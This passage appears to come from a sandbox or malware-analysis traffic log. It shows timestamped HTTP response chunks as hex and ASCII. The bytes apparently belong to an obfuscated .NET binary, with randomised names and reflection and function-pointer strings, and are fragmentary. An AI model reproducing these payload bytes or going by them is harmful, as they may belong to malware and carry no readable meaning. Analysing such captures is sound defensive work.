00 6a 48 4b 6a 32 4b 52 61 34 38 00 45 73 64 6a 33 43 65 50 43 43 00 73 54 62 6a 7a 66 5a 36 46 78 00 6b 73 6e 6b 68 
67 58 63 53 78 00 75 45 78 6b 64 58 4a 42 6d 59 00 6e 45 68 6b 78 46 41 37 57 4c 00 55 59 68 6b 5a 70 6e 6f 54 73 00 6
d 78 70 6b 48 77 6b 48 42 64 00 52 47 52 6b 45 61 56 6f 68 52 00 6c 78 57 6b 66 30 52 57 62 5a 00 51 36 6e 6b 67 76 54 
59 67 45 00 63 46 6e 6b 4d 56 31 51 73 58 00 4e 37 30 6b 6a 39 78 41 76 35 00 71 58 48 6b 6b 77 57 73 66 6e 00 56 46 
71 6b 53 48 4f 4c 39 4c 00 6a 30 33 6b 63 53 68 44 4c 4e 00 55 70 49 
Data Ascii: kq3qUmkGbMLroonqVpK3H9FavhsbkLRstsSniRZOAisadjXcL5bwBRJ7C7VIylR8jJJu6GmjHKj2KRa48Esdj3Ce
PCCsTbjzfZ6FxksnkhgXcSxuExkdXJBmYnEhkxFA7WLUYhkZpnoTsmxpkHwkHBdRGRkEaVohRlxWkf0RWbZQ6nkgvT
YgEcFnkMV1QsXN70kj9xAv5qXHkkwWsfnVFqkSHOL9Lj03kcShDLNUpI

2021-09-27 18:36:18 UTC 154 IN Data Raw: 45 36 66 39 68 64 32 61 4c 44 55 39 6f 68 00 79 31 50 34 6c 38 36 67 55 37 44 4e 47 45 5a 62 71 41 6a 00 71 
6c 4a 79 46 71 36 4d 68 49 4b 65 59 51 53 46 62 4d 43 00 72 52 44 45 57 42 36 6a 57 62 77 63 64 78 4b 70 57 4f 44 00 
4e 6e 69 49 56 48 36 6b 4d 43 59 68 4e 4a 4c 55 6e 4c 64 00 55 44 6c 50 68 42 36 53 31 48 53 6a 76 61 74 67 39 46 4e 
00 51 69 43 35 78 42 36 63 69 58 78 76 37 6a 33 49 51 38 64 00 69 49 44 31 46 4a 36 4b 66 57 63 63 79 4b 79 32 67 5a 
6d 00 47 4e 41 77 31 6d 36 39 53 4f 76 34 38 6d 76 67 62 65 30 00 6c 4f 51 33 6e 51 36 31 65 75 4b 51 73 59 74 5a 4f 57 
38 00 79 6f 78 4c 66 4f 36 6c 37 62 66 45 4a 57 54 50 4b 69 52 00 49 6b 52 57 54 73 36 70 36 30 66 63 6a 69 65 35 4a 45 
47 00 45 49 61 71 35 6b 36 4c 74 48 4c 75 41 5a 62 61 45 42 77 00 
Data Ascii: E6f9hd2aLDU9ohy1P4l86gU7DNGEZbqAjqlJyFq6MhIKeYQSFbMCrRDEWB6jWbwcdxKpWODNniIVH6
kMCYhNJLUnLdUDlPhB6S1HSjvatg9FNQiC5xB6ciXxv7j3IQ8diID1FJ6KfWccyKy2gZmGNAw1m69SOv48mvgbe0lO
Q3nQ61euKQsYtZOW8yoxLfO6l7bfEJWTPKiRIkRWTs6p60fcjie5JEGEIaq5k6LtHLuAZbaEBw

2021-09-27 18:36:18 UTC 158 IN Data Raw: 5a 6d 48 30 31 39 68 00 71 31 6e 5a 46 65 75 63 55 32 00 49 35 65 5a 65 44 43 48 72 75 00 43 6f 6e 73 74 72 
75 63 74 6f 72 49 6e 66 6f 00 52 75 6e 74 69 6d 65 4d 65 74 68 6f 64 48 61 6e 64 6c 65 00 41 72 69 74 68 6d 65 74 69 63 
45 78 63 65 70 74 69 6f 6e 00 73 65 74 5f 49 74 65 6d 00 54 72 79 47 65 74 56 61 6c 75 65 00 4f 76 65 72 66 6c 6f 77 45 
78 63 65 70 74 69 6f 6e 00 4e 75 6c 6c 52 65 66 65 72 65 6e 63 65 45 78 63 65 70 74 69 6f 6e 00 73 73 36 5a 50 70 55 6c 
73 6c 00 67 37 47 45 5a 50 6a 32 79 79 00 59 77 31 45 48 65 61 65 36 6c 00 41 70 61 66 68 57 39 5a 45 75 00 44 79 6e 
61 6d 69 63 4d 65 74 68 6f 64 00 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 45 6d 69 74 00 49 4c 47 65 6e 
65 72 61 74 6f 72 00 45 6d 70 74 79 00 45 6d 70 74 79 54 79 70 
Data Ascii: ZmH019hq1nZFeucU2I5eZeDCHruConstructorInfoRuntimeMethodHandleArithmeticExceptionset_Item
TryGetValueOverflowExceptionNullReferenceExceptionss6ZPpUlslg7GEZPj2yyYw1EHeae6lApafhW9ZEuDynamicMet
hodSystem.Reflection.EmitILGeneratorEmptyEmptyTyp

2021-09-27 18:36:18 UTC 161 IN Data Raw: 43 4e 6d 31 79 6b 50 50 75 79 62 5a 46 00 52 71 59 67 6b 69 46 6b 75 72 00 6e 39 37 77 6e 57 43 47 54 32 
61 54 62 32 63 73 61 32 31 00 67 46 6a 38 33 44 4c 67 48 59 00 4a 64 56 67 66 66 35 61 74 75 00 61 57 76 67 67 76 6e 
58 30 4a 00 72 74 34 67 4d 5a 45 36 51 62 00 52 67 6b 67 6a 34 52 6e 52 64 00 58 6d 34 49 46 6c 43 37 49 6e 55 48 4a 
6d 47 54 5a 35 31 00 4d 39 76 75 33 70 43 74 62 6e 41 62 4c 55 65 42 68 5a 48 00 69 61 46 77 48 73 43 44 38 54 34 4d 
4f 4b 74 32 6b 47 61 00 6f 34 4c 56 51 57 43 4f 56 72 71 43 47 62 66 31 6f 45 35 00 4b 74 61 30 76 6f 43 38 57 49 39 37 
36 33 66 74 47 6a 69 00 52 65 6d 6f 76 65 41 74 00 62 38 44 45 71 78 43 4a 62 67 45 76 47 77 39 73 57 6d 37 00 52 44 
49 71 32 41 43 32 6c 67 6c 59 4e 63 34 51 48 4d 77 00 43 54 53 4b 56 54 
Data Ascii: CNm1ykPPuybZFRqYgkiFkurn97wnWCGT2aTb2csa21gFj83DLgHYJdVgff5atuaWvggvnX0Jrt4gMZ
E6QbRgkgj4RnRdXm4IFlC7InUHJmGTZ51M9vu3pCtbnAbLUeBhZHiaFwHsCD8T4MOKt2kGao4LVQWCOVrqCGbf1oE5
Kta0voC8WI9763ftGjiRemoveAtb8DEqxCJbgEvGw9sWm7RDIq2AC2lglYNc4QHMwCTSKVT

2021-09-27 18:36:18 UTC 165 IN Data Raw: 6b 6b 65 47 68 45 56 6c 62 00 4e 30 53 38 32 53 63 42 54 69 41 78 33 48 54 70 70 6c 36 00 67 65 74 5f 48 61 
73 68 00 69 6f 44 6e 75 62 63 36 44 51 34 41 64 33 53 39 63 49 57 00 56 65 72 69 66 79 48 61 73 68 00 6e 50 61 59 6b 
58 63 57 69 58 6d 77 33 45 30 79 47 53 4e 00 76 32 72 31 33 6f 63 30 39 6b 54 6b 46 39 58 62 6b 49 30 00 6c 61 6b 47 
72 36 63 75 70 61 6b 32 58 44 6a 4c 43 52 68 00 67 65 74 5f 4e 61 6d 65 00 67 49 54 62 4e 56 63 43 42 31 54 34 35 55 4
8 54 72 77 52 00 7a 4f 6d 34 67 75 53 65 41 33 46 4d 55 71 74 6f 56 4a 78 00 6a 4e 71 59 54 66 53 6e 78 56 41 71 64 59 
72 47 64 53 4d 00 48 57 65 63 73 70 73 65 71 74 57 67 6f 4d 6c 4f 68 38 37 00 61 74 57 4a 53 4c 73 51 68 6a 4f 77 44 32 
65 68 34 41 78 00 52 65 61 64 49 6e 74 50 74 72 00 44 70 4c 38 58 
Data Ascii: kkeGhEVlbN0S82ScBTiAx3HTppl6get_HashioDnubc6DQ4Ad3S9cIWVerifyHashnPaYkXcWiXmw3
E0yGSNv2r13oc09kTkF9XbkI0lakGr6cupak2XDjLCRhget_NamegITbNVcCB1T45UHTrwRzOm4guSeA3FMUqtoVJx
jNqYTfSnxVAqdYrGdSMHWecspseqtWgoMlOh87atWJSLsQhjOwD2eh4AxReadIntPtrDpL8X

Timestamp
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2021-09-27 18:36:18 UTC 169 IN Data Raw: 62 5a 6a 61 72 50 37 44 78 00 4f 35 59 6a 72 53 4b 68 79 4b 00 78 6f 48 6a 52 63 62 42 4b 4b 00 6a 36 30 6a 
35 59 41 70 63 6d 00 74 54 45 6e 56 54 73 64 4b 4b 71 4d 53 78 55 45 52 32 6e 00 4a 70 6e 56 43 42 73 78 6b 42 55 48 
36 35 4b 34 51 59 37 00 44 54 54 69 6e 79 73 5a 54 36 58 78 67 72 64 64 68 6a 6d 00 7a 57 79 4b 67 47 73 48 66 34 34 
70 45 42 4f 61 31 57 6c 00 65 4b 34 74 71 5a 73 45 30 61 64 47 4d 52 6a 4b 37 35 6b 00 52 54 6f 78 68 56 73 66 4f 6d 49 
70 66 63 59 4e 49 58 31 00 6e 50 4d 32 52 74 73 67 6a 6a 61 70 53 64 34 6b 50 54 69 00 24 24 6d 65 74 68 6f 64 30 78 3
6 30 30 30 33 31 61 2d 31 00 24 24 6d 65 74 68 6f 64 30 78 36 30 30 30 33 31 61 2d 32 00 24 24 6d 65 74 68 6f 64 30 78 
36 30 30 30 33 33 38 2d 31 00 24 24 6d 65 74 68 6f 64 30 78 36 30 
Data Ascii: bZjarP7DxO5YjrSKhyKxoHjRcbBKKj60j5YApcmtTEnVTsdKKqMSxUER2nJpnVCBsxkBUH65K4QY7D
TTinysZT6XxgrddhjmzWyKgGsHf44pEBOa1WleK4tqZsE0adGMRjK75kRToxhVsfOmIpfcYNIX1nPM2RtsgjjapSd4
kPTi$$method0x600031a-1$$method0x600031a-2$$method0x6000338-1$$method0x60

2021-09-27 18:36:18 UTC 173 IN Data Raw: 35 39 39 36 39 32 63 39 63 35 61 61 62 00 6d 5f 32 65 65 65 61 64 62 38 61 30 34 36 34 30 62 30 39 39 33 34 
65 63 30 30 31 32 30 63 63 65 66 31 00 6d 5f 31 31 35 65 39 38 31 36 31 38 30 64 34 65 36 34 61 38 65 66 31 36 38 62 
39 37 64 61 65 33 61 61 00 6d 5f 65 38 61 33 66 66 38 37 62 39 63 30 34 61 66 61 62 62 35 65 35 61 65 31 34 39 37 61 
62 36 35 30 00 6d 5f 31 30 61 62 36 38 35 33 65 35 64 38 34 64 66 33 38 34 31 32 39 35 31 33 39 34 31 38 36 64 62 61 0
0 6d 5f 39 31 38 31 34 65 64 38 62 31 31 61 34 64 36 32 39 37 66 39 35 63 61 37 30 36 33 30 30 35 66 30 00 6d 5f 33 65 
38 35 37 61 65 61 61 36 62 35 34 63 32 61 38 33 30 65 36 66 65 65 33 61 38 32 63 37 36 31 00 6d 5f 62 66 63 37 31 35 
61 33 65 66 38 34 34 65 35 36 38 36 63 33 61 66 31 32 65 39 39 32 33 
Data Ascii: 599692c9c5aabm_2eeeadb8a04640b09934ec00120ccef1m_115e9816180d4e64a8ef168b97dae3aam_e8a3f
f87b9c04afabb5e5ae1497ab650m_10ab6853e5d84df38412951394186dbam_91814ed8b11a4d6297f95ca7063
005f0m_3e857aeaa6b54c2a830e6fee3a82c761m_bfc715a3ef844e5686c3af12e9923

2021-09-27 18:36:18 UTC 178 IN Data Raw: 00 65 00 64 00 00 4b 6c 00 51 00 34 00 57 00 47 00 4e 00 64 00 6c 00 62 00 79 00 73 00 59 00 46 00 59 00 69 
00 79 00 34 00 34 00 2e 00 6a 00 32 00 6d 00 4f 00 39 00 61 00 78 00 52 00 6e 00 46 00 56 00 63 00 6e 00 43 00 33 00 
77 00 51 00 77 00 00 01 00 33 7b 00 31 00 31 00 31 00 31 00 31 00 2d 00 32 00 32 00 32 00 32 00 32 00 2d 00 35 00 30 
00 30 00 30 00 31 00 2d 00 30 00 30 00 30 00 30 00 30 00 7d 00 00 3b 47 00 65 00 74 00 44 00 65 00 6c 00 65 00 67 00 
61 00 74 00 65 00 46 00 6f 00 72 00 46 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 69 00 6e 00 74 00 65 00 
72 00 00 05 5f 00 5f 00 00 47 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 
00 6f 00 6e 00 2e 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 
Data Ascii: edKlQ4WGNdlbysYFYiy44.j2mO9axRnFVcnC3wQw3{11111-22222-50001-00000};GetDelegateForFunctio
nPointer__GSystem.Reflection.Reflecti

2021-09-27 18:36:18 UTC 182 IN Data Raw: 13 00 13 01 08 20 02 02 13 00 10 13 01 01 00 0a 20 03 12 74 12 74 11 80 90 02 05 20 01 12 74 08 05 00 01 
08 12 79 0d 07 07 08 12 81 55 12 81 59 08 08 08 08 04 06 1d 12 79 0a 20 04 01 0e 12 79 1d 12 79 02 08 15 12 81 3d 02 
12 79 08 04 06 11 81 5d 06 20 02 01 08 12 74 35 07 16 08 12 81 35 12 80 f9 1d 12 80 f5 1d 1c 1d 12 74 15 12 80 9d 01 12 
80 d0 12 80 d4 08 08 12 80 f5 12 79 1c 02 12 80 b0 12 80 d8 1c 12 74 12 79 1c 08 12 74 07 00 02 12 80 d8 1c 02 28 07 1
1 12 80 d8 12 80 f9 12 81 55 12 81 59 1d 12 80 f5 1d 12 79 08 08 1d 12 81 65 08 08 08 12 79 08 12 80 d8 1d 12 79 08 0b 
15 12 81 3d 02 12 81 35 12 80 d8 02 1d 1c 08 00 03 12 80 d8 1c 02 1c 2e 07 13 12 80 d8 12 80 f9 12 81 55 12 81 59 08 
1d 12 79 08 08 1d 12 81 65 08 08 08 12 80 d0 12 79 08 12 80 d0 12 80 
Data Ascii:   tt tyUYy yy=y] t55tytyt(UYyeyy=5.UYyey

2021-09-27 18:36:18 UTC 186 IN Data Raw: 02 1c 12 79 09 09 00 03 1c 12 79 09 12 82 8c 04 06 12 82 90 06 20 02 1c 12 79 06 09 00 03 1c 12 79 06 12 82 
90 04 06 12 82 94 06 20 02 1c 12 79 07 09 00 03 1c 12 79 07 12 82 94 04 06 12 82 98 06 20 02 1c 12 79 05 09 00 03 1c 
12 79 05 12 82 98 04 06 12 82 9c 06 20 02 1c 12 79 04 09 00 03 1c 12 79 04 12 82 9c 04 06 12 82 a0 06 20 02 1c 12 79 
0a 09 00 03 1c 12 79 0a 12 82 a0 04 06 12 82 a4 06 20 02 1c 12 79 0b 09 00 03 1c 12 79 0b 12 82 a4 04 06 12 82 a8 05 
20 01 0e 10 08 08 00 02 0e 10 08 12 82 a8 04 06 12 82 ac 05 20 01 0e 10 09 08 00 02 0e 10 09 12 82 ac 04 06 12 82 b0 
05 20 01 0e 10 0a 08 00 02 0e 10 0a 12 82 b0 04 06 12 82 b4 05 20 01 0e 10 0b 08 00 02 0e 10 0b 12 82 b4 04 06 12 82 
b8 05 20 01 0f 01 18 08 00 02 0f 01 18 12 82 b8 04 06 12 82 bc 05 20 01 
Data Ascii: yy yy yy yy yy yy yy      

2021-09-27 18:36:18 UTC 190 IN Data Raw: 87 03 50 82 01 28 12 83 01 7a 82 01 50 16 7a 83 01 2a 50 a4 02 50 90 01 28 12 83 01 7a 82 01 50 16 7a 83 
01 2a 50 ae 01 50 b9 01 8d 12 83 01 7a 82 01 50 17 7a 83 01 2a 50 8a 02 50 2e 28 12 83 01 7a 82 01 50 17 7a 83 01 2a 
7a 82 01 50 17 50 85 02 50 01 8d 2a 50 b5 02 50 3c 28 12 83 01 7a 82 01 50 18 7a 83 01 2a 50 1b 50 9b 01 8d 12 83 01 
7a 82 01 50 18 7a 83 01 2a 50 a4 03 50 8c 01 28 12 83 01 7a 82 01 50 18 7a 83 01 2a 50 a5 03 50 8c 01 28 12 83 01 7a 
82 01 50 18 7a 83 01 2a 50 03 50 2a 8d 12 83 01 7a 82 01 50 18 7a 83 01 2a 50 86 01 50 13 28 12 83 01 7a 82 01 50 18 
7a 83 01 2a 7a 82 01 50 19 50 31 50 ae 01 8d 2a 50 0e 50 3b 8d 12 83 01 7a 82 01 50 19 7a 83 01 2a 50 02 50 10 8d 12 
83 01 7a 82 01 50 19 7a 83 01 2a 50 b3 02 50 91 01 28 12 83 01 7a 82 01 50 
Data Ascii: P(zPz*PP(zPz*PPzPz*PP.(zPz*zPPP*PP<(zPz*PPzPz*PP(zPz*PP(zPz*PP*zPz*PP(zPz*zPP1P*PP;zPz*P
PzPz*PP(zP

2021-09-27 18:36:18 UTC 193 IN Data Raw: 2f b9 45 a7 3d 89 49 95 20 8d 4b a2 2b 92 2f 88 22 8e 46 a4 4a 97 47 82 3f a8 27 b0 22 bd 2f 80 35 be 3f 81 
2a a9 2b 9f 2e 88 33 bf 21 8c 37 91 45 8d 39 af 33 88 4c 8a 2d b9 32 84 40 97 21 97 26 90 41 be 4a 87 1f 92 22 8d 21 a3 
21 be 45 89 34 b7 47 a7 2a bf 40 89 23 91 49 9f 2d 8e 36 aa 40 95 4c 85 25 80 3e b0 48 a5 22 8e 4c 80 4a 9c 30 b8 43 ad 
39 a8 3a 8b 27 b9 34 80 2f bb 44 9e 2a 92 37 a9 26 b9 25 a8 35 ae 3e bf 37 be 30 9b 36 ba 4c 9e 1f 92 48 a8 48 a2 34 bb 
31 88 3c 96 23 a8 28 95 39 b2 28 87 3d a6 3e 9f 3d b7 39 b9 37 87 48 b0 2a ba 48 9f 4b a8 4b 98 34 b7 2e b6 23 b9 3e 
a2 31 80 2b a1 35 b0 4b 84 3a 9f 47 98 24 88 41 b9 3d a3 30 90 3c b9 26 81 23 8f 26 bd 35 a4 36 8e 33 86 46 9d 2f 9d 3f 
9f 43 97 32 92 3f 87 29 83 49 8c 3f bb 2c 8c 2a 9a 42 a6 45 
Data Ascii: /E=I K+/"FJG?'"/5?*+.3!7E93L-2@!&AJ"!!E4G*@#I-6@L%>H"LJ0C9:'4/D*7&%5>706LHH41<#(9(=>=97H
*HKK4.#>1+5K:G$A=0<&#&563F/?C2?)I?,*BE

2021-09-27 18:36:18 UTC 197 IN Data Raw: 01 50 0b 50 16 50 90 01 8d 2a 50 b8 02 32 bf 1e 7a 06 50 1a 50 93 03 50 86 01 28 2a 50 84 01 32 bf 1e 7a 06 
50 05 7a 0d 2a 50 0e 12 0f 32 be 1e 7a 01 50 0f 7a 17 2a 50 a1 04 22 8a 95 80 60 16 bf 1e 90 32 be 1e 7a 06 50 13 7a 0d 
2a 50 ac 05 22 8a 95 80 60 16 bf 1e 90 32 be 1e 7a 06 50 15 50 21 50 ba 01 8d 2a 50 11 32 bf 1e 7a 06 50 16 50 b5 01 50 
98 01 8d 2a 50 80 02 12 0f 32 be 1e 50 88 02 50 8b 01 28 12 0d 50 91 03 22 89 95 80 60 76 bf 1e 90 32 be 1e 50 8f 02 50 
2f 28 12 0c 50 9e 02 32 bf 1e 7a 03 7a 0e 85 07 5b b9 25 50 85 02 22 8a 95 80 60 16 bf 1e 90 32 be 1e 7a 01 50 01 7a 17 
2a 50 a2 02 12 0f 32 be 1e 50 aa 03 50 8e 01 28 12 0d 50 a3 02 32 bf 1e 7a 06 50 18 7a 0c 2a 50 93 03 32 bf 1e 50 8b 03 
50 83 01 28 12 0d 50 82 03 32 bf 1e 7a 01 50 0c 50 9f 02 
Data Ascii: PPP*P2zPPP(*P2zPz*P2zPz*P"`2zPz*P"`2zPP!P*P2zPPP*P2PP(P"`v2PP/(P2zz[%P"`2zPz*P2PP(P2zPz*
P2PP(P2zPP

2021-09-27 18:36:18 UTC 201 IN Data Raw: 09 4f 50 b8 d7 bb ed 1e 4f 50 97 a7 d7 e2 0e 4f ae 9f 84 80 40 50 bb e2 cf 87 02 65 50 92 b3 da de 14 4f ae a0 
84 80 40 50 85 ae a1 c5 10 50 98 9e 89 85 07 8d 50 87 e0 ca 8e 10 4f ae a1 84 80 40 50 b9 a2 f9 b2 0b 50 9a d7 e5 98 0e 
4f 50 01 63 50 b7 e1 a9 d5 02 4f ae a2 84 80 40 50 89 a5 97 c6 11 50 a8 c2 e2 86 01 8d 50 02 5e 50 84 9f e7 b3 0a 4f ae 
a3 84 80 40 50 9b a5 e2 f5 10 50 bf d8 f4 e7 1d 8d 46 50 84 fa a8 86 14 4f ae a4 84 80 40 50 9a b2 9b 98 0f 50 04 5e 50 
a0 a6 b6 83 13 4f ae a5 84 80 40 50 81 cb 85 e5 11 50 a2 99 db fc 06 28 65 50 b9 e5 bb 8e 1e 4f ae a6 84 80 40 50 ac a9 
db 95 03 65 50 02 63 50 a5 95 c9 9a 1f 4f ae a7 84 80 40 50 9a f0 85 ab 10 65 50 8e 99 ce 10 4f ae a8 84 80 40 50 b0 94 
ef 83 03 65 46 50 bf cf 8b a8 04 4f ae a9 84 80 40 50 
Data Ascii: OPOPO@PePO@PPPO@PPOPcPO@PPP^PO@PPFPO@PP^PO@PP(ePO@PePcPO@PePO@PeFPO@
P
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2021-09-27 18:36:18 UTC 205 IN Data Raw: 0e 54 91 d9 71 8e 6e 26 99 fc 43 91 ee 69 09 df fc 60 e8 b2 da 76 94 2d c1 34 e9 b2 ac 54 bc 79 98 ca 28 0a 
56 0b 76 59 24 23 21 90 98 63 2b 15 f3 37 0b 69 dd d4 9f 9d 4d d0 35 ab 53 29 96 08 0d 23 30 05 e1 ff f4 35 7c a8 b0 42 
a1 00 15 5b ca 04 f2 9e 38 86 f1 31 7d d0 33 77 e0 18 5a a3 45 30 d6 0e 84 18 fa ec 4e dd 55 65 c8 88 21 20 97 a9 94 8e 
b9 eb 1b 4a 30 58 b7 8d f1 2a ca 28 6e db f9 49 6e 1b 51 d3 3b a5 f5 96 07 18 fe f0 65 31 74 3f a2 97 9b 7a 27 00 8b 1d 
17 df a8 e5 9c 06 cc 80 19 03 d2 c1 5d 25 41 26 bf 42 3a bd ee 1f eb 24 81 46 a8 ce a4 83 00 f5 a0 27 1a f9 d9 a4 cd 10 
e6 5c f5 ff dd ad 56 a3 ef 28 83 69 b7 97 9c 8b 52 b1 7e cb 3b 65 25 21 9f 96 b0 e6 01 ac 7b f5 0b 57 2d 86 34 7e b3 ee 
85 60 42 8b f3 0a b6 c7 e4 9a 58 91 c5 bd 65 0d 73 71 87 
Data Ascii: Tqn&Ci`v-4Ty(VvY$#!c+7iM5S)#05|B[81}3wZE0NUe! J0X*(nInQ;e1t?z']%A&B:$F'\V(iR~;e%!{W-4~`BXesq

2021-09-27 18:36:18 UTC 210 IN Data Raw: 67 1c 49 00 65 b5 3a 37 1a 00 f4 b7 de 20 b4 f7 a9 90 a1 58 35 e6 d5 2b 3f 40 14 8a bd 9c 4b 14 26 cc 7c 2a 
46 f2 18 c0 10 11 48 88 c0 a0 6b 64 dd 05 61 51 31 ab 0d 83 2f be 10 1b 16 10 8e 7b 49 10 84 f0 c3 b6 01 47 f9 f0 56 6f 9e
01 1b ab a5 1e d4 95 3e 58 bc 8e 4d 58 ff 42 d0 c6 c5 c1 e1 60 64 45 c6 1e fb 23 2a ae 4e 1e 98 e0 38 58 cf f8 6b 83 1e 
07 e6 3b f7 42 65 35 a9 c8 23 10 52 09 78 5d 6b b8 23 e1 67 08 94 27 9e b1 7b 4f 44 93 8e ad 96 6f 51 b4 70 e9 5f 23 87 
75 93 4f 9e d6 51 5f 6b 46 81 5d 7d 27 9b b5 63 ce 29 69 70 32 7c ce ae 97 75 32 4a e9 97 2c 24 6f 1a 60 ff 61 a0 0f 36 2f 
55 63 9f 27 31 5e 42 b0 27 4f 87 a1 e4 98 a5 77 ce 80 f2 4e 7b 19 ca 2a f6 5f b1 50 0b fa 5b 9e 95 89 3e e2 9e c7 a8 d9 
37 87 52 0f bf b7 02 1e 1d 98 3a 1d 7d 6a ef e7 de 
Data Ascii: gIe:7 X5+?@K&|*FHkdaQ1/{IGVo>XMXB`dE#*N8Xk;Be5#Rx]k#g'{ODoQp_#uOQ_kF]}'c)ip2|u2J,$o`a6/U
c'1^B'OwN{*_P[>7R:}j

2021-09-27 18:36:18 UTC 214 IN Data Raw: dd f0 49 aa 43 ab 1b d9 3f a1 5e 3e 4a f6 d7 a5 3e 8d e7 49 31 7e 6a 78 ac 12 d8 f0 8f 3a 2e ee 94 14 a0 76 2f 
e0 ec fa 16 06 37 9b 51 cb cf 79 d4 4d 53 0f 59 7f 3b 1c fa 5b 8e 8a 21 c2 0f 7c 2d 9f 57 2f 31 5a 0d ad 6a c8 d9 02 f8 4d 
82 60 e5 90 d4 56 82 da e1 58 15 7b cf 34 f7 c0 96 d0 c9 a1 d2 24 6b 54 83 be 12 3b 45 f3 bc 9b d1 4f 52 9e 34 48 ed 1a 
4b f2 b3 21 a1 fb c3 ab 6c 8d 15 94 a6 be a7 64 b6 e4 8c 68 9b b3 1c ca 84 cb b7 e7 79 02 51 cd 15 4e a0 75 12 37 b3 7b 
09 e6 2a c2 e5 9a f4 4b 21 17 44 1c 7e d0 1f 25 05 43 ad 8c 8e 1a 7a c3 ba 49 d9 b2 24 91 ae 0f 3d 85 9b d8 82 56 7a 75 
a6 06 28 2e c1 29 eb 64 3f f7 93 cc 9e 24 a4 f8 c3 40 3a ca 4f d7 e8 3d 7b 25 0a 2b 4d da cd b4 98 d3 5b e0 9e 08 24 90 
5a 16 50 de 69 30 aa 54 87 36 a7 61 92 0a de 50 24 
Data Ascii: IC?^>J>I1~jx:.v/7QyMSY;[!|-W/1ZjM`VX{4$kT;EOR4HK!ldhyQNu7{*K!D~%CzI$=Vzu(.)d?$@:O={%+M[$
ZPi0T6aP$

2021-09-27 18:36:18 UTC 225 IN Data Raw: 22 c9 df 7a 28 ff 6a 73 38 30 31 59 1d 5f cc f9 ec 5a b7 e3 e5 ca 76 dd db 7a 6a 4c 18 1e 8d 65 fa 75 3f 13 8f 
a0 23 e9 72 4b e6 60 20 29 6e 5b cf 00 8e 40 ab 36 bf 61 22 fc 80 69 9e 98 1b ed 57 0d 08 eb 95 25 93 f3 bc cd d7 55 5b 
c2 3c 7d b3 3c a0 a9 e0 23 82 b4 0f a5 8c 7e 24 dc fc 7b 1d c0 78 bd fa dc a4 af 96 f8 26 2b 74 01 f6 1a 78 11 01 83 9c 
9b 38 03 74 d4 9c ba 66 80 6e ca d2 67 73 34 d7 16 c0 02 a6 46 8f 1b 90 d4 60 7e 14 34 85 1c 74 69 5b c5 de 04 7b 7f ed 
97 b9 12 2f fd 7a 9a 8a 0f 49 16 98 f8 3f e5 64 e6 45 a5 a2 99 62 55 10 85 9b 74 39 ef ec 03 ea ba b8 03 6b ab 7f 14 5f 16 
88 c8 c7 4b f2 04 dd b3 c3 4c 92 64 c3 b1 56 71 6c 63 c4 2b 64 17 28 10 af b7 5f 4c a0 9f 23 9a 9c eb 5a 92 75 b2 ed 9e 
6b 84 b7 45 3f a1 fe 8f dc 01 55 5f 36 13 d8 6f e7 
Data Ascii: "z(js801Y_ZvzjLeu?#rK` )n[@6a"iW%U[<}<#~${x&+tx8tfngs4F`~4ti[{/zI?dEbUt9k_KLdVqlc+d(_L#ZukE?U_6o

2021-09-27 18:36:18 UTC 241 IN Data Raw: ad 93 49 00 09 8e b3 68 00 cd e3 23 66 f5 03 80 99 11 b8 b4 6f 78 23 a8 2b d6 5f 86 c8 3f 52 a7 53 e8 d3 c9 
d4 0e 29 19 f2 52 96 ef 8f 90 77 96 43 e7 85 0e b6 20 a2 c0 0f ab d2 e1 7a 6c a7 f4 87 49 40 68 65 f6 e4 d6 33 bd 00 38 
da 5d 97 f0 29 2b ce 4f 5a 50 c6 d3 b7 6b a2 ec 7a 81 37 64 c7 c2 9e cd b6 7c 5e d3 85 7d 98 4c 17 87 dc fe 89 03 46 4c 
0b 03 54 a4 57 42 36 27 dc 81 5a 74 0b 9a 73 a8 53 35 87 eb a8 0f e6 cd 70 c0 73 9f ce ce d7 cb 90 d2 ef 26 b0 4b 4b a7 
7f 56 a3 8a 88 1c 5f 06 c8 ac f5 6c cb 7a f7 0f 5f b4 91 3f 46 ca 54 81 40 e8 a3 68 41 8c 51 55 37 aa bc 43 53 08 85 f0 a4 
fb e5 b2 da d9 1c d1 20 30 b2 eb 1f 6a 4c 2f 55 51 e9 1d 89 a0 b0 b6 ce 7e 72 f8 7e 6e 6e 8c 10 6e 81 31 08 5d 86 23 b4 
cc 52 4e 04 10 2e 50 02 68 2b a1 f1 6d b7 33 81 fd 9a 
Data Ascii: Ih#fox#+_?RS)RwC zlI@he38])+OZPkz7d|^}LFLTWB6'ZtsS5ps&KKV_lz_?FT@hAQU7CS 0jL/UQ~r~nnn1]#
RN.Ph+m3

2021-09-27 18:36:18 UTC 257 IN Data Raw: c8 7d fc a9 96 b5 58 6c 5e ee 9b 87 36 23 14 35 c3 dc 8a f1 f8 58 1b c0 59 17 07 8e 42 18 fd bd 70 3e bd 79 
94 7e b0 e5 27 ca 11 bd f8 39 7b a8 06 1d eb 4b 26 22 f0 06 fa 79 40 83 e4 10 c5 a2 3a 22 f8 d5 01 b7 e4 20 71 d2 c9 18 
24 b4 73 f8 9a a1 ef 14 2b 0b 9e 00 f4 7d c0 b1 0d c8 57 93 bf d0 b8 0a bd 93 ae b2 44 c7 98 0b ab c4 41 11 be 78 5f 3f 88
a3 d0 59 6c 56 2c b2 09 a8 99 1f fd 1e d3 62 8e d6 02 2a 6f 73 21 fe 4c 9b 65 a7 a7 db 12 19 e5 43 e8 cd 53 e8 ee 39 31 
a3 5d a0 fc 32 c2 10 6e 8b b5 31 e5 b6 70 bb 5f 57 03 8e b5 b8 f0 d1 a3 8f 44 3d 69 00 da cc 95 4e 90 11 6e 5d 09 e3 1d 
54 5c c1 1b 72 2f 4b 8e 35 8f 01 24 7a dc 1f a2 1c 9e 39 19 af 95 0e 7f d7 43 b7 05 1c 74 16 0e 31 f7 01 77 bf f3 81 4d c9 
78 6b c4 a5 44 10 e4 9a 96 bf 22 d5 18 43 3d 4a e9 
Data Ascii: }Xl^6#5XYBp>y~'9{K&"y@:" q$s+}WDAx_?YlV,b*os!LeCS91]2n1p_WD=iNn]T\r/K5$z9Ct1wMxkD"C=J

